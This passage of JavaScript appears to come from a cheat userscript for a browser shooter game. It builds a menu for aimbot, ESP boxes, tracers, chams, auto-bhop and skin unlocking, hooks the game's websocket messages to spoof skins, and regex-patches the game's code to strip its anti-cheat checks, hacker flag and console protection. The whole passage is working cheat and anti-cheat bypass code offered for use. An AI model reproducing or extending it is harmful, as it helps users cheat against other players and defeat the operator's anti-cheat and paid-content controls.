"rainbowColor"), }, renderChams: { name: "Player Chams", val: "off", html: () => this.generateSetting( "select", "renderChams", this.lists.renderChams ), }, renderWireFrame: { name: "Player Wireframe", val: false, html: () => this.generateSetting("checkbox", "renderWireFrame"), }, customBillboard: { name: "Custom Billboard Text", val: "", html: () => this.generateSetting( "text", "customBillboard", "Custom Billboard Text" ), }, //Weapon autoReload: { pre: "<br><div class='setHed'>Weapon</div>", name: "Auto Reload", val: false, html: () => this.generateSetting("checkbox", "autoReload"), }, autoAim: { name: "Auto Aim Type", val: "off", html: () => this.generateSetting("select", "autoAim", this.lists.autoAim), }, frustrumCheck: { name: "Line of Sight Check", val: false, html: () => this.generateSetting("checkbox", "frustrumCheck"), }, wallPenetrate: { name: "Aim through Penetratables", val: false, html: () => this.generateSetting("checkbox", "wallPenetrate"), }, weaponZoom: { name: "Weapon Zoom", val: 1.0, min: 0, max: 50.0, step: 0.01, html: () => this.generateSetting("slider", "weaponZoom"), set: (value) => { if (this.renderer) this.renderer.adsFovMlt = value;} }, weaponTrails: { name: "Weapon Trails", val: false, html: () => this.generateSetting("checkbox", "weaponTrails"), set: (value) => { if (this.me) this.me.weapon.trail = value;} }, //Player autoBhop: { pre: "<br><div class='setHed'>Player</div>", name: "Auto Bhop Type", val: "off", html: () => this.generateSetting("select", "autoBhop", this.lists.autoBhop), }, thirdPerson: { name: "Third Person", val: false, html: () => this.generateSetting("checkbox", "thirdPerson"), set: (value, init) => { if (value) this.thirdPerson = 1; else if (!init) this.thirdPerson = undefined; } }, skinUnlock: { name: "Unlock Skins", val: false, html: () => this.generateSetting("checkbox", "skinUnlock", this), }, //GamePlay disableWpnSnd: { pre: "<br><div class='setHed'>GamePlay</div>", name: "Disable Players Weapon Sounds", val: false, html: () => this.generateSetting("checkbox", "disableWpnSnd", this), }, disableHckSnd: { name: "Disable Hacker Fart Sounds", val: false, html: () => this.generateSetting("checkbox", "disableHckSnd", this), }, autoActivateNuke: { name: "Auto Activate Nuke", val: false, html: () => this.generateSetting("checkbox", "autoActivateNuke", this), }, autoFindNew: { name: "New Lobby Finder", val: false, html: () => this.generateSetting("checkbox", "autoFindNew", this), }, autoClick: { name: "Auto Start Game", val: false, html: () => this.generateSetting("checkbox", "autoClick", this), }, inActivity: { name: "No InActivity Kick", val: true, html: () => this.generateSetting("checkbox", "autoClick", this), }, //Radio Stream Player playStream: { pre: "<br><div class='setHed'>Radio Stream Player</div>", name: "Stream Select", val: "off", html: () => this.generateSetting("select", "playStream", this.lists.audioStreams), set: (value) => { if (value == "off") { if ( this.settings.playStream.audio ) { this.settings.playStream.audio.pause(); this.settings.playStream.audio.currentTime = 0; this.settings.playStream.audio = null; } return; } let url = this.settings.playStream.urls[value]; if (!this.settings.playStream.audio) { this.settings.playStream.audio = new Audio(url); this.settings.playStream.audio.volume = this.settings.audioVolume.val||0.5 } else { this.settings.playStream.audio.src = url; } this.settings.playStream.audio.load(); this.settings.playStream.audio.play(); }, urls: { _2000s: 'http://0n-2000s.radionetz.de/0n-2000s.aac', _HipHopRNB: 'https://stream-mixtape-geo.ntslive.net/mixtape2', _Country: 'https://live.wostreaming.net/direct/wboc-waaifmmp3-ibc2', _Dance: 'http://streaming.radionomy.com/A-RADIO-TOP-40', _Pop: 'http://bigrradio.cdnstream1.com/5106_128', _Jazz: 'http://strm112.1.fm/ajazz_mobile_mp3', _Oldies: 'http://strm112.1.fm/60s_70s_mobile_mp3', _Club: 'http://strm112.1.fm/club_mobile_mp3', _Folk: 'https://freshgrass.streamguys1.com/irish-128mp3', _ClassicRock: 'http://1a-classicrock.radionetz.de/1a-classicrock.mp3', _Metal: 'http://streams.radiobob.de/metalcore/mp3-192', _DeathMetal: 'http://stream.laut.fm/beatdownx', _Classical: 'http://live-radio01.mediahubaustralia.com/FM2W/aac/', _Alternative: 'http://bigrradio.cdnstream1.com/5187_128', _Dubstep: 'http://streaming.radionomy.com/R1Dubstep?lang=en', _Lowfi: 'http://streams.fluxfm.de/Chillhop/mp3-256', _Oldskool: 'http://streams.90s90s.de/hiphop/mp3-128/', }, audio: null, }, audioVolume: { name: "Radio Volume", val: 0.5, min: 0, max: 1, step: 0.01, html: () => this.generateSetting("slider", "audioVolume"), set: (value) => { if (this.settings.playStream.audio) this.settings.playStream.audio.volume = value;} }, }; // Inject Html let waitForWindows = setInterval(_ => { if (window.windows) { const menu = window.windows[11]; menu.header = "Settings"; menu.gen = _ => { var tmpHTML = `<div style='text-align:center'> <a onclick='window.open("https://skidlamer.github.io/")' class='menuLink'>SkidFest Settings</center></a> <hr> </div>`; for (const key in this.settings) { if (this.settings[key].pre) tmpHTML += this.settings[key].pre; tmpHTML += "<div class='settName' id='" + key + "_div' style='display:" + (this.settings[key].hide ? 'none' : 'block') + "'>" + this.settings[key].name + " " + this.settings[key].html() + "</div>"; } tmpHTML += `<br><hr><a onclick='${skidStr}.resetSettings()' class='menuLink'>Reset Settings</a> | <a onclick='${skidStr}.saveScript()' class='menuLink'>Save GameScript</a>` return tmpHTML; }; clearInterval(waitForWindows); //this.createButton("5k1D", "https://i.imgur.com/1tWAEJx.gif", this.toggleMenu) } }, 100); // setupSettings for (const key in this.settings) { this.settings[key].def = this.settings[key].val; if (!this.settings[key].disabled) { let tmpVal = this.getSavedVal(key); this.settings[key].val = tmpVal !== null ? tmpVal : this.settings[key].val; if (this.settings[key].val == "false") this.settings[key].val = false; if (this.settings[key].val == "true") this.settings[key].val = true; if (this.settings[key].val == "undefined") this.settings[key].val = this.settings[key].def; if (this.settings[key].set) this.settings[key].set(this.settings[key].val, true); } } } generateSetting(type, name, extra) { switch (type) { case 'checkbox': return `<label class="switch"><input type="checkbox" onclick="${skidStr}.setSetting('${name}', this.checked)" ${this.settings[name].val ? 'checked' : ''}><span class="slider"></span></label>`; case 'slider': return `<span class='sliderVal' id='slid_utilities_${name}'>${this.settings[name].val}</span><div class='slidecontainer'><input type='range' min='${this.settings[name].min}' max='${this.settings[name].max}' step='${this.settings[name].step}' value='${this.settings[name].val}' class='sliderM' oninput="${skidStr}.setSetting('${name}', this.value)"></div>` case 'select': { let temp = `<select onchange="${skidStr}.setSetting(\x27${name}\x27, this.value)" class="inputGrey2">`; for (let option in extra) { temp += '<option value="' + option + '" ' + (option == this.settings[name].val ? 'selected' : '') + '>' + extra[option] + '</option>'; } temp += '</select>'; return temp; } default: return `<input type="${type}" name="${type}" id="slid_utilities_${name}"\n${'color' == type ? 'style="float:right;margin-top:5px"' : `class="inputGrey2" placeholder="${extra}"`}\nvalue="${this.settings[name].val}" oninput="${skidStr}.setSetting(\x27${name}\x27, this.value)"/>`; } } resetSettings() { if (confirm("Are you sure you want to reset all your settings? This will also refresh the page")) { Object.keys(localStorage).filter(x => x.includes("kro_utilities_")).forEach(x => localStorage.removeItem(x)); location.reload(); } } setSetting(t, e) { this.settings[t].val = e; this.saveVal(t, e); if (document.getElementById(`slid_utilities_${t}`)) document.getElementById(`slid_utilities_${t}`).innerHTML = e; if (this.settings[t].set) this.settings[t].set(e); } createObserver(elm, check, callback, onshow = true) { return new MutationObserver((mutationsList, observer) => { if (check == 'src' || onshow && mutationsList[0].target.style.display == 'block' || !onshow) { callback(mutationsList[0].target); } }).observe(elm, check == 'childList' ? {childList: true} : {attributes: true, attributeFilter: [check]}); } createListener(elm, type, callback = null) { if (!this.isDefined(elm)) { alert("Failed creating " + type + "listener"); return } elm.addEventListener(type, event => callback(event)); } createElement(element, attribute, inner) { if (!this.isDefined(element)) { return null; } if (!this.isDefined(inner)) { inner = ""; } let el = document.createElement(element); if (this.isType(attribute, 'object')) { for (let key in attribute) { el.setAttribute(key, attribute[key]); } } if (!Array.isArray(inner)) { inner = [inner]; } for (let i = 0; i < inner.length; i++) { if (inner[i].tagName) { el.appendChild(inner[i]); } else { el.appendChild(document.createTextNode(inner[i])); } } return el; } createButton(name, iconURL, fn, visible) { visible = visible ? "inherit":"none"; let menu = document.querySelector("#menuItemContainer"); let icon = this.createElement("div",{"class":"menuItemIcon", "style":`background-image:url("${iconURL}");display:inherit;`}); let title= this.createElement("div",{"class":"menuItemTitle", "style":`display:inherit;`}, name); let host = this.createElement("div",{"id":"mainButton", "class":"menuItem", "onmouseenter":"playTick()", "onclick":"showWindow(12)", "style":`display:${visible};`},[icon, title]); if (menu) menu.append(host) } objectHas(obj, arr) { return arr.some(prop => obj.hasOwnProperty(prop)); } getVersion() { const elems = document.getElementsByClassName('terms'); const version = elems[elems.length - 1].innerText; return version; } saveAs(name, data) { let blob = new Blob([data], {type: 'text/plain'}); let el = window.document.createElement("a"); el.href = window.URL.createObjectURL(blob); el.download = name; window.document.body.appendChild(el); el.click(); window.document.body.removeChild(el); } saveScript() { this.fetchScript().then(script => { this.saveAs("game_" + this.getVersion() + ".js", script) }) } isKeyDown(key) { return this.downKeys.has(key); } simulateKey(keyCode) { var oEvent = document.createEvent('KeyboardEvent'); // Chromium Hack Object.defineProperty(oEvent, 'keyCode', { get : function() { return this.keyCodeVal; } }); Object.defineProperty(oEvent, 'which', { get : function() { return this.keyCodeVal; } }); if (oEvent.initKeyboardEvent) { oEvent.initKeyboardEvent("keypress", true, true, document.defaultView, keyCode, keyCode, "", "", false, ""); } else { oEvent.initKeyEvent("keypress", true, true, document.defaultView, false, false, false, false, keyCode, 0); } oEvent.keyCodeVal = keyCode; if (oEvent.keyCode !== keyCode) { alert("keyCode mismatch " + oEvent.keyCode + "(" + oEvent.which + ")"); } document.body.dispatchEvent(oEvent); } toggleMenu() { let lock = document.pointerLockElement || document.mozPointerLockElement; if (lock) document.exitPointerLock(); window.showWindow(12); if (this.isDefined(window.SOUND)) window.SOUND.play(`tick_0`,0.1) } onLoad() { this.createSettings(); this.createObservers(); this.waitFor(_=>this.isDefined(this.exports)).then(_=> { if (!this.isDefined(this.exports)) { alert("This Mod Needs To Be Updated Please Try Agian Later"); return; } //console.dir(this.exports); let toFind = { overlay: ["render", "canvas"], config: ["accAnnounce", "availableRegions", "assetCat"], three: ["ACESFilmicToneMapping", "TextureLoader", "ObjectLoader"], ws: ["socketReady", "ingressPacketCount", "ingressPacketCount", "egressDataSize"], utility: ["VectorAdd", "VectorAngleSign"], //colors: ["challLvl", "getChallCol"], //ui: ["showEndScreen", "toggleControlUI", "toggleEndScreen", "updatePlayInstructions"], //events: ["actions", "events"], } for (let rootKey in this.exports) { let exp = this.exports[rootKey].exports; for (let name in toFind) { if (this.objectHas(exp, toFind[name])) { console.log("Found Export ", name); delete toFind[name]; this[name] = exp; } } } if (!(Object.keys(toFind).length === 0 && toFind.constructor === Object)) { for (let name in toFind) { alert("Failed To Find Export " + name); } } else { Object.defineProperty(this.config, "nameVisRate", { value: 0, writable: false, configurable: true, }) this.ctx = this.overlay.canvas.getContext('2d'); this.overlay.render = new Proxy(this.overlay.render, { apply: function(target, that, args) { return [target.apply(that, args), render.apply(that, args)] } }) function render(scale, game, controls, renderer, me) { let width = skid.overlay.canvas.width / scale; let height = skid.overlay.canvas.height / scale; const renderArgs = [scale, game, controls, renderer, me]; if (renderArgs && void 0 !== skid) { ["scale", "game", "controls", "renderer", "me"].forEach((item, index)=>{ skid[item] = renderArgs[index]; }); if (me) { skid.ctx.save(); skid.ctx.scale(scale, scale); //this.ctx.clearRect(0, 0, width, height); skid.onRender(); //window.requestAnimationFrame.call(window, renderArgs.callee.caller.bind(this)); skid.ctx.restore(); } if(skid.settings && skid.settings.autoClick.val && window.endUI.style.display == "none" && window.windowHolder.style.display == "none") { controls.toggle(true); } } } // Skins const $skins = Symbol("skins"); Object.defineProperty(Object.prototype, "skins", { set: function(fn) { this[$skins] = fn; if (void 0 == this.localSkins || !this.localSkins.length) { this.localSkins = Array.apply(null, Array(5e3)).map((x, i) => { return { ind: i, cnt: 0x1, } }) } return fn; }, get: function() { return skid.settings.skinUnlock.val && this.stats ? this.localSkins : this[$skins]; } }) this.waitFor(_=>this.ws.connected === true, 40000).then(_=> { this.ws.__event = this.ws._dispatchEvent.bind(this.ws); this.ws.__send = this.ws.send.bind(this.ws); this.ws.send = new Proxy(this.ws.send, { apply: function(target, that, args) { if (args[0] == "ah2") return; try { var original_fn = Function.prototype.apply.apply(target, [that, args]); } catch (e) { e.stack = e.stack = e.stack.replace(/\n.*Object\.apply.*/, ''); throw e; } if (args[0] === "en") { skid.skinCache = { main: args[1][2][0], secondary: args[1][2][1], hat: args[1][3], body: args[1][4], knife: args[1][9], dye: args[1][14], waist: args[1][17], } } return original_fn; } }) this.ws._dispatchEvent = new Proxy(this.ws._dispatchEvent, { apply: function(target, that, [type, event]) { if (type =="init") { if(event[10] && event[10].length && event[10].bill && skid.settings.customBillboard.val.length > 1) { event[10].bill.txt = skid.settings.customBillboard.val; } } if (skid.settings.skinUnlock.val && skid.skinCache && type === "0") { let skins = skid.skinCache; let pInfo = event[0]; let pSize = 38; while (pInfo.length % pSize !== 0) pSize++; for(let i = 0; i < pInfo.length; i += pSize) { if (pInfo[i] === skid.ws.socketId||0) { pInfo[i + 12] = [skins.main, skins.secondary]; pInfo[i + 13] = skins.hat; pInfo[i + 14] = skins.body; pInfo[i + 19] = skins.knife; pInfo[i + 24] = skins.dye; pInfo[i + 33] = skins.waist; } } } return target.apply(that, arguments[2]); } }) }) if (this.isDefined(window.SOUND)) { window.SOUND.play = new Proxy(window.SOUND.play, { apply: function(target, that, [src, vol, loop, rate]) { if ( src.startsWith("fart_") && skid.settings.disableHckSnd.val ) return; return target.apply(that, [src, vol, loop, rate]); } }) } AudioParam.prototype.setValueAtTime = new Proxy(AudioParam.prototype.setValueAtTime, { apply: function(target, that, [value, startTime]) { return target.apply(that, [value, 0]); } }) this.rayC = new this.three.Raycaster(); this.vec2 = new this.three.Vector2(0, 0); } }) } gameJS(script) { let entries = { // Deobfu inView: { regex: /(\w+\['(\w+)']\){if\(\(\w+=\w+\['\w+']\['position']\['clone']\(\))/, index: 2 }, spectating: { regex: /\['team']:window\['(\w+)']/, index: 1 }, //inView: { regex: /\]\)continue;if\(!\w+\['(.+?)\']\)continue;/, index: 1 }, //canSee: { regex: /\w+\['(\w+)']\(\w+,\w+\['x'],\w+\['y'],\w+\['z']\)\)&&/, index: 1 }, //procInputs: { regex: /this\['(\w+)']=function\((\w+),(\w+),\w+,\w+\){(this)\['recon']/, index: 1 }, aimVal: { regex: /this\['(\w+)']-=0x1\/\(this\['weapon']\['\w+']\/\w+\)/, index: 1 }, pchObjc: { regex: /0x0,this\['(\w+)']=new \w+\['Object3D']\(\),this/, index: 1 }, didShoot: { regex: /--,\w+\['(\w+)']=!0x0/, index: 1 }, nAuto: { regex: /'Single\\x20Fire','varN':'(\w+)'/, index: 1 }, crouchVal: { regex: /this\['(\w+)']\+=\w\['\w+']\*\w+,0x1<=this\['\w+']/, index: 1 }, recoilAnimY: { regex: /\+\(-Math\['PI']\/0x4\*\w+\+\w+\['(\w+)']\*\w+\['\w+']\)\+/, index: 1 }, //recoilAnimY: { regex: /this\['recoilAnim']=0x0,this\[(.*?\(''\))]/, index: 1 }, ammos: { regex: /\['length'];for\(\w+=0x0;\w+<\w+\['(\w+)']\['length']/, index: 1 }, weaponIndex: { regex: /\['weaponConfig']\[\w+]\['secondary']&&\(\w+\['(\w+)']==\w+/, index: 1 }, isYou: { regex: /0x0,this\['(\w+)']=\w+,this\['\w+']=!0x0,this\['inputs']/, index: 1 }, objInstances: { regex: /\w+\['\w+']\(0x0,0x0,0x0\);if\(\w+\['(\w+)']=\w+\['\w+']/, index: 1 }, getWorldPosition: { regex: /{\w+=\w+\['camera']\['(\w+)']\(\);/, index: 1 }, //mouseDownL: { regex: /this\['\w+'\]=function\(\){this\['(\w+)'\]=\w*0,this\['(\w+)'\]=\w*0,this\['\w+'\]={}/, index: 1 }, mouseDownR: { regex: /this\['(\w+)']=0x0,this\['keys']=/, index: 1 }, //reloadTimer: { regex: /this\['(\w+)']&&\(\w+\['\w+']\(this\),\w+\['\w+']\(this\)/, index: 1 }, maxHealth: { regex: /this\['health']\/this\['(\w+)']\?/, index: 1 }, xDire: { regex: /this\['(\w+)']=Math\['lerpAngle']\(this\['xDir2']/, index: 1 }, yDire: { regex: /this\['(\w+)']=Math\['lerpAngle']\(this\['yDir2']/, index: 1 }, //xVel: { regex: /this\['x']\+=this\['(\w+)']\*\w+\['map']\['config']\['speedX']/, index: 1 }, yVel: { regex: /this\['y']\+=this\['(\w+)']\*\w+\['map']\['config']\['speedY']/, index: 1 }, //zVel: { regex: /this\['z']\+=this\['(\w+)']\*\w+\['map']\['config']\['speedZ']/, index: 1 }, // Patches exports: {regex: /(this\['\w+']\['\w+']\(this\);};},function\(\w+,\w+,(\w+)\){)/, patch: `$1 ${skidStr}.exports=$2.c; ${skidStr}.modules=$2.m;`}, inputs: {regex: /(\w+\['\w+']\[\w+\['\w+']\['\w+']\?'\w+':'push']\()(\w+)\),/, patch: `$1${skidStr}.onInput($2)),`}, inView: {regex: /&&(\w+\['\w+'])\){(if\(\(\w+=\w+\['\w+']\['\w+']\['\w+'])/, patch: `){if(!$1&&void 0 !== ${skidStr}.nameTags)continue;$2`}, thirdPerson:{regex: /(\w+)\[\'config\'\]\[\'thirdPerson\'\]/g, patch: `void 0 !== ${skidStr}.thirdPerson`}, isHacker:{regex: /(window\['\w+']=)!0x0\)/, patch: `$1!0x1)`}, fixHowler:{regex: /(Howler\['orientation'](.+?)\)\),)/, patch: ``}, respawnT:{regex: /'\w+':0x3e8\*/g, patch: `'respawnT':0x0*`}, anticheat1:{regex: /&&\w+\(\),window\['utilities']&&\(\w+\(null,null,null,!0x0\),\w+\(\)\)/, patch: ""}, anticheat2:{regex: /(\[]instanceof Array;).*?(var)/, patch: "$1 $2"}, anticheat3:{regex: /windows\['length'\]>\d+.*?0x25/, patch: `0x25`}, commandline:{regex: /Object\['defineProperty']\(console.*?\),/, patch: ""}, writeable:{regex: /'writeable':!0x1/g, patch: "writeable:true"}, configurable:{regex: /'configurable':!0x1/g, patch: "configurable:true"}, typeError:{regex: /throw new TypeError/g, patch: "console.error"}, error:{regex: /throw new Error/g, patch: "console.error"}, }; for(let name in entries) { let object = entries[name]; let found = object.regex.exec(script); if (object.hasOwnProperty('index')) { if (!found) { object.val = null; alert("Failed to Find " + name); } else { object.val = found[object.index]; console.log ("Found ", name, ":", object.val); } Object.defineProperty(skid.vars, name, { configurable: false, value: object.val }); } else if (found) { script = script.replace(object.regex, object.patch); console.log ("Patched ", name); } else alert("Failed to Patch " + name); } return script; } createObservers() { this.createObserver(window.instructionsUpdate, 'style', (target) => { if (this.settings.autoFindNew.val) { console.log(target) if (['Kicked', 'Banned', 'Disconnected', 'Error', 'Game is full'].some(text => target && target.innerHTML.includes(text))) { location = document.location.origin; } } }); this.createListener(document, "keyup", event => { if (this.downKeys.has(event.code)) this.downKeys.delete(event.code) }) this.createListener(document, "keydown", event => { if (event.code == "F1") { event.preventDefault(); this.toggleMenu(); } if ('INPUT' == document.activeElement.tagName || !window.endUI && window.endUI.style.display) return; switch (event.code) { case 'NumpadSubtract': document.exitPointerLock(); //console.log(document.exitPointerLock) console.dirxml(this) break; default: if (!this.downKeys.has(event.code)) this.downKeys.add(event.code); break; } }) this.createListener(document, "mouseup", event => { switch (event.button) { case 1: event.preventDefault(); this.toggleMenu(); break; default: break; } }) } onRender() { /* hrt / ttap - https://github.com/hrt */ this.renderFrame ++; if (this.renderFrame >= 100000) this.renderFrame = 0; let scaledWidth = this.ctx.canvas.width / this.scale; let scaledHeight = this.ctx.canvas.height / this.scale; let playerScale = (2 * this.consts.armScale + this.consts.chestWidth + this.consts.armInset) / 2 let worldPosition = this.renderer.camera[this.vars.getWorldPosition](); let espVal = this.settings.renderESP.val; if (espVal ==="walls"||espVal ==="twoD") this.nameTags = undefined; else this.nameTags = true; if (this.settings.autoActivateNuke.val && this.me && Object.keys(this.me.streaks).length) { /*chonker*/ this.ws.__send("k", 0); } if (espVal !== "off") { this.overlay.healthColE = this.settings.rainbowColor.val ? this.overlay.rainbow.col : "#eb5656"; } for (let iter = 0, length = this.game.players.list.length; iter < length; iter++) { let player = this.game.players.list[iter]; if (player[this.vars.isYou] || !player.active || !this.isDefined(player[this.vars.objInstances]) || this.getIsFriendly(player)) { continue; } // the below variables correspond to the 2d box esps corners let xmin = Infinity; let xmax = -Infinity; let ymin = Infinity; let ymax = -Infinity; let position = null; let br = false; for (let j = -1; !br && j < 2; j+=2) { for (let k = -1; !br && k < 2; k+=2) { for (let l = 0; !br && l < 2; l++) { if (position = player[this.vars.objInstances].position.clone()) { position.x += j * playerScale; position.z += k * playerScale; position.y += l * (player.height - player[this.vars.crouchVal] * this.consts.crouchDst); if (!this.containsPoint(position)) { br = true; break; } position.project(this.renderer.camera); xmin = Math.min(xmin, position.x); xmax = Math.max(xmax, position.x); ymin = Math.min(ymin, position.y); ymax = Math.max(ymax, position.y); } } } } if (br) { continue; } xmin = (xmin + 1) / 2; ymin = (ymin + 1) / 2; xmax = (xmax + 1) / 2; ymax = (ymax + 1) / 2; // save and restore these variables later so they got nothing on us const original_strokeStyle = this.ctx.strokeStyle; const original_lineWidth = this.ctx.lineWidth; const original_font = this.ctx.font; const original_fillStyle = this.ctx.fillStyle; //Tracers if (this.settings.renderTracers.val) { CRC2d.save.apply(this.ctx, []); let screenPos = this.world2Screen(player[this.vars.objInstances].position); this.ctx.lineWidth = 4.5; this.ctx.beginPath(); this.ctx.moveTo(this.ctx.canvas.width/2, this.ctx.canvas.height - (this.ctx.canvas.height - scaledHeight)); this.ctx.lineTo(screenPos.x, screenPos.y); this.ctx.strokeStyle = "rgba(0, 0, 0, 0.25)"; this.ctx.stroke(); this.ctx.lineWidth = 2.5; this.ctx.strokeStyle = this.settings.rainbowColor.val ? this.overlay.rainbow.col : "#eb5656" this.ctx.stroke(); CRC2d.restore.apply(this.ctx, []); } CRC2d.save.apply(this.ctx, []); if (espVal == "twoD" || espVal == "full") { // perfect box esp this.ctx.lineWidth = 5; this.ctx.strokeStyle = this.settings.rainbowColor.val ? this.overlay.rainbow.col : "#eb5656" let distanceScale = Math.max(.3, 1 - this.getD3D(worldPosition.x, worldPosition.y, worldPosition.z, player.x, player.y, player.z) / 600); CRC2d.scale.apply(this.ctx, [distanceScale, distanceScale]); let xScale = scaledWidth / distanceScale; let yScale = scaledHeight / distanceScale; CRC2d.beginPath.apply(this.ctx, []); ymin = yScale * (1 - ymin); ymax = yScale * (1 - ymax); xmin = xScale * xmin; xmax = xScale * xmax; CRC2d.moveTo.apply(this.ctx, [xmin, ymin]); CRC2d.lineTo.apply(this.ctx, [xmin, ymax]); CRC2d.lineTo.apply(this.ctx, [xmax, ymax]); CRC2d.lineTo.apply(this.ctx, [xmax, ymin]); CRC2d.lineTo.apply(this.ctx, [xmin, ymin]); CRC2d.stroke.apply(this.ctx, []); if (espVal == "full") { // health bar this.ctx.fillStyle = "#000000"; let barMaxHeight = ymax - ymin; CRC2d.fillRect.apply(this.ctx, [xmin - 7, ymin, -10, barMaxHeight]); this.ctx.fillStyle = player.health > 75 ? "green" : player.health > 40 ? "orange" : "red"; CRC2d.fillRect.apply(this.ctx, [xmin - 7, ymin, -10, barMaxHeight * (player.health / player[this.vars.maxHealth])]); // info this.ctx.font = "48px Sans-serif"; this.ctx.fillStyle = "white"; this.ctx.strokeStyle='black'; this.ctx.lineWidth = 1; let x = xmax + 7; let y = ymax; CRC2d.fillText.apply(this.ctx, [player.name||player.alias, x, y]); CRC2d.strokeText.apply(this.ctx, [player.name||player.alias, x, y]); this.ctx.font = "30px Sans-serif"; y += 35; CRC2d.fillText.apply(this.ctx, [player.weapon.name, x, y]); CRC2d.strokeText.apply(this.ctx, [player.weapon.name, x, y]); y += 35; CRC2d.fillText.apply(this.ctx, [player.health + ' HP', x, y]); CRC2d.strokeText.apply(this.ctx, [player.health + ' HP', x, y]); } } CRC2d.restore.apply(this.ctx, []); this.ctx.strokeStyle = original_strokeStyle; this.ctx.lineWidth = original_lineWidth; this.ctx.font = original_font; this.ctx.fillStyle = original_fillStyle; // skelly chams if (this.isDefined(player[this.vars.objInstances])) { let obj = player[this.vars.objInstances]; if (!obj.visible) { Object.defineProperty(player[this.vars.objInstances], 'visible', { value: true, writable: false }); } obj.traverse((child) => { let chamColor = this.settings.renderChams.val; let chamsEnabled = chamColor !== "off"; if (child && child.type == "Mesh" && child.material) { child.material.depthTest = chamsEnabled ? false : true; //if (this.isDefined(child.material.fog)) child.material.fog = chamsEnabled ? false : true; if (child.material.emissive) { child.material.emissive.r = chamColor == 'off' || chamColor == 'teal' || chamColor == 'green' || chamColor == 'blue' ? 0 : 0.55; child.material.emissive.g = chamColor == 'off' || chamColor == 'purple' || chamColor == 'blue' || chamColor == 'red' ? 0 : 0.55; child.material.emissive.b = chamColor == 'off' || chamColor == 'yellow' || chamColor == 'green' || chamColor == 'red' ? 0 : 0.55; } child.material.wireframe = this.settings.renderWireFrame.val ? true : false } }) } } } spinTick(input) { //this.game.players.getSpin(this.self); //this.game.players.saveSpin(this.self, angle); const angle = this.getAngleDst(input[2], this.me[this.vars.xDire]); this.spins = this.getStatic(this.spins, new Array()); this.spinTimer = this.getStatic(this.spinTimer, this.config.spinTimer); this.serverTickRate = this.getStatic(this.serverTickRate, this.config.serverTickRate); (this.spins.unshift(angle), this.spins.length > this.spinTimer / this.serverTickRate && (this.spins.length = Math.round(this.spinTimer / this.serverTickRate))) for (var e = 0, i = 0; i < this.spins.length; ++i) e += this.spins[i]; return Math.abs(e * (180 / Math.PI)); } raidBot(input) { let target = this.game.AI.ais.filter(enemy => { return undefined !== enemy.mesh && enemy.mesh && enemy.mesh.children[0] && enemy.canBSeen && enemy.health > 0 }).sort((p1, p2) => this.getD3D(this.me.x, this.me.z, p1.x, p1.z) - this.getD3D(this.me.x, this.me.z, p2.x, p2.z)).shift(); if (target) { let canSee = this.containsPoint(target.mesh.position) let yDire = (this.getDir(this.me.z, this.me.x, target.z, target.x) || 0) let xDire = ((this.getXDire(this.me.x, this.me.y, this.me.z, target.x, target.y + target.mesh.children[0].scale.y * 0.85, target.z) || 0) - this.consts.recoilMlt * this.me[this.vars.recoilAnimY]) if (this.me.weapon[this.vars.nAuto] && this.me[this.vars.didShoot]) { input[this.key.shoot] = 0; input[this.key.scope] = 0; this.me.inspecting = false; this.me.inspectX = 0; } else { if (!this.me.aimDir && canSee) { input[this.key.scope] = 1; if (!this.me[this.vars.aimVal]||this.me.weapon.noAim) { input[this.key.shoot] = 1; input[this.key.ydir] = yDire * 1e3 input[this.key.xdir] = xDire * 1e3 this.lookDir(xDire, yDire); } } } } else { this.resetLookAt(); } return input; } onInput(input) { if (this.isDefined(this.config) && this.config.aimAnimMlt) this.config.aimAnimMlt = 1; if (this.isDefined(this.controls) && this.isDefined(this.config) && this.settings.inActivity.val) { this.controls.idleTimer = 0; this.config.kickTimer = Infinity } if (this.me) { this.inputFrame ++; if (this.inputFrame >= 100000) this.inputFrame = 0; if (!this.game.playerSound[this.isProxy]) { this.game.playerSound = new Proxy(this.game.playerSound, { apply: function(target, that, args) { if (skid.settings.disableWpnSnd.val && args[0] && typeof args[0] == "string" && args[0].startsWith("weapon_")) return; return target.apply(that, args); }, get: function(target, key) { return key === skid.isProxy ? true : Reflect.get(target, key); }, }) } let isMelee = this.isDefined(this.me.weapon.melee)&&this.me.weapon.melee||this.isDefined(this.me.weapon.canThrow)&&this.me.weapon.canThrow; let ammoLeft = this.me[this.vars.ammos][this.me[this.vars.weaponIndex]]; // autoReload if (this.settings.autoReload.val) { //let capacity = this.me.weapon.ammo; //if (ammoLeft < capacity) if (isMelee) { if (!this.me.canThrow) { //this.me.refillKnife(); } } else if (!ammoLeft) { this.game.players.reload(this.me); input[this.key.reload] = 1; // this.me[this.vars.reloadTimer] = 1; //this.me.resetAmmo(); } } //Auto Bhop let autoBhop = this.settings.autoBhop.val; if (autoBhop !== "off") { if (this.isKeyDown("Space") || autoBhop == "autoJump" || autoBhop == "autoSlide") { this.controls.keys[this.controls.binds.jumpKey.val] ^= 1; if (this.controls.keys[this.controls.binds.jumpKey.val]) { this.controls.didPressed[this.controls.binds.jumpKey.val] = 1; } if (this.isKeyDown("Space") || autoBhop == "autoSlide") { if (this.me[this.vars.yVel] < -0.03 && this.me.canSlide) { setTimeout(() => { this.controls.keys[this.controls.binds.crouchKey.val] = 0; }, this.me.slideTimer||325); this.controls.keys[this.controls.binds.crouchKey.val] = 1; this.controls.didPressed[this.controls.binds.crouchKey.val] = 1; } } } } //Autoaim if (this.settings.autoAim.val !== "off") { this.playerMaps.length = 0; this.rayC.setFromCamera(this.vec2, this.renderer.fpsCamera); let target = this.game.players.list.filter(enemy => { let hostile = undefined !== enemy[this.vars.objInstances] && enemy[this.vars.objInstances] && !enemy[this.vars.isYou] && !this.getIsFriendly(enemy) && enemy.health > 0 && this.getInView(enemy); if (hostile) this.playerMaps.push( enemy[this.vars.objInstances] ); return hostile }).sort((p1, p2) => this.getD3D(this.me.x, this.me.z, p1.x, p1.z) - this.getD3D(this.me.x, this.me.z, p2.x, p2.z)).shift(); if (target) { //let count = this.spinTick(input); //if (count < 360) { // input[2] = this.me[this.vars.xDire] + Math.PI; //} else console.log("spins ", count); //target.jumpBobY * this.config.jumpVel let canSee = this.containsPoint(target[this.vars.objInstances].position); let inCast = this.rayC.intersectObjects(this.playerMaps, true).length; let yDire = (this.getDir(this.me.z, this.me.x, target.z, target.x) || 0); let xDire = ((this.getXDire(this.me.x, this.me.y, this.me.z, target.x, target.y - target[this.vars.crouchVal] * this.consts.crouchDst + this.me[this.vars.crouchVal] * this.consts.crouchDst, target.z) || 0) - this.consts.recoilMlt * this.me[this.vars.recoilAnimY]) if (this.me.weapon[this.vars.nAuto] && this.me[this.vars.didShoot]) { 